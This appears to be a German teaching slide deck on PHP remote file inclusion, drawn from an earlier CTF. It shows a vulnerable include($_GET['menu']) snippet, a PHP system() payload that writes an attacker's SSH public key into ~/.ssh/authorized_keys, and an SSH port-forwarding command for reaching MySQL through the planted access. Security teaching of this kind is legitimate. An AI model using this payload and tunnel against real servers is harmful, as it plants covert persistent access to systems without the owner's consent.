Code-Injection in PHP Realworld Beispiel: SSH-Public Key per Code-Injection einbauen
Grundlagen PHP Methoden Code dynamisch zu laden Include() und require() sowie deren Pendants include_once() sowie require_once() eval() Hier konzentrieren wir uns auf include() und require(), da gebräuchlicher.
include und require Grob: Mittels include und require kann eine Datei geladen werden vars.php <?php $color = 'green'; $fruit = 'apple'; ?> test.php <?php echo "A $color $fruit"; // A include 'vars.php'; echo "A $color $fruit"; // A green apple ?>
Einfache Programmierung? PHP ermöglicht es den Programmierer, leicht Dateien über verschiedene Protokolle zu öffnen – Beispiel: <?php $file = fopen ("ftp://ftp.example.com/incoming/outputfile", "w"); if (!$file) { echo " Unable to open remote file for writing.\n"; exit; } /* Write the data here. */ fwrite ($file, "My Data". "\n"); fclose ($file); ?>
Teufelswerk allow_url_fopen allow_url_fopen erlaubt das Öffnen von Dateien mittels einer URL. Gilt nicht nur für File-Funktionen wie fopen, sondern auch für include(), require() usw. Ist per Default angeschaltet!
Code-Beispiel aus einem früheren CTF myfuncs.php <?php function myheader($title) { $menu = $_GET["menu"]; // [..] include($menu); // [..] } // [..] ?> Mit dem HTTP-Parameter menu wird angegeben welches Menü geladen werden soll: test.php <?php include(myfuncs.php); // [..] myheader(test); // [..] ?>
Ausnutzung der Lücke
Abschluß Code-Injection Fragen?
Warum Einbau eines SSH-Public Keys Public Key Authentifikation – unabhängig vom User-Passwort in /etc/shadow SSH erlaubt Logins ohne Shell (z.B. nur Portforwarding) – normalerweise taucht eine Session auf: who user1 pts/1 Apr 26 10:18 (pd dip0.t-ipconnect.de) jtb pts/5 Apr 26 11:33 (x337.vpn.hrz.tu-darmstadt.de)
SSH-Verbindung ohne Shell Beispielaufruf von SSH: ssh -T -i private.key –L 3306:localhost:3306 -T Disable pseudo-tty allocation. -i identity_file Selects a file from which the identity (private key) for RSA or DSA authentication is read. -L port:host:hostport Specifies that the given port on the local (client) host is to be forwarded to the given host and port on the remote side.
Verbindungsdiagramm Angriffsrechner Opfer Direkte MySQL- Verbindungen nicht möglich Aber direkte SSH- Verbindung ist möglich! SSH MySQL Diese Verbindung kommt von localhost
SSH Public Key Erstellen mit ssh-keygen: ssh-keygen –t rsa So sieht der private Schlüssel aus: -----BEGIN RSA PRIVATE KEY----- MII [..] -----END RSA PRIVATE KEY----- Public Key wird hochgeladen, private Key bleibt bei euch! ~/.ssh>cat authorized_keys ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCgFZ4xz8EnOZ9x8TpMGV9kY BohRbG+QzW3UGfSV2AynOjUxlaABatDGnCskthsm60RWSkZns7m4O y2Loyu0XXQzLXIebkfy7cYtrFmKrAKxF6zifDBxL7bsJ0XPujYzRJ 7JSCyuQ+lrldY7NseI/PbfoIhwXYIa6RRrRcxWN6VXgdGIVq9xTjg aBVHRutOmttJVKtaiejJG0I9ZAjpTsGwyKkppzxXfDFgRfzxJozQS KLZOdKRVjoqxL1vc7p0GD0aOfSkWpQIGWyO6ziwy41CUFpAdE9uZB 6F9abCxZkzWdz08w2K5ONlLgCyBVb/hlDgPS9PZaBjXe3qvMrm9R8 J
PHP-Code für den Einbau Beispielhaft mit system-Calls: <?php system(mkdir ~/.ssh); system(echo ssh-rsa [KEY] > ~/.ssh/authorized_keys); ?>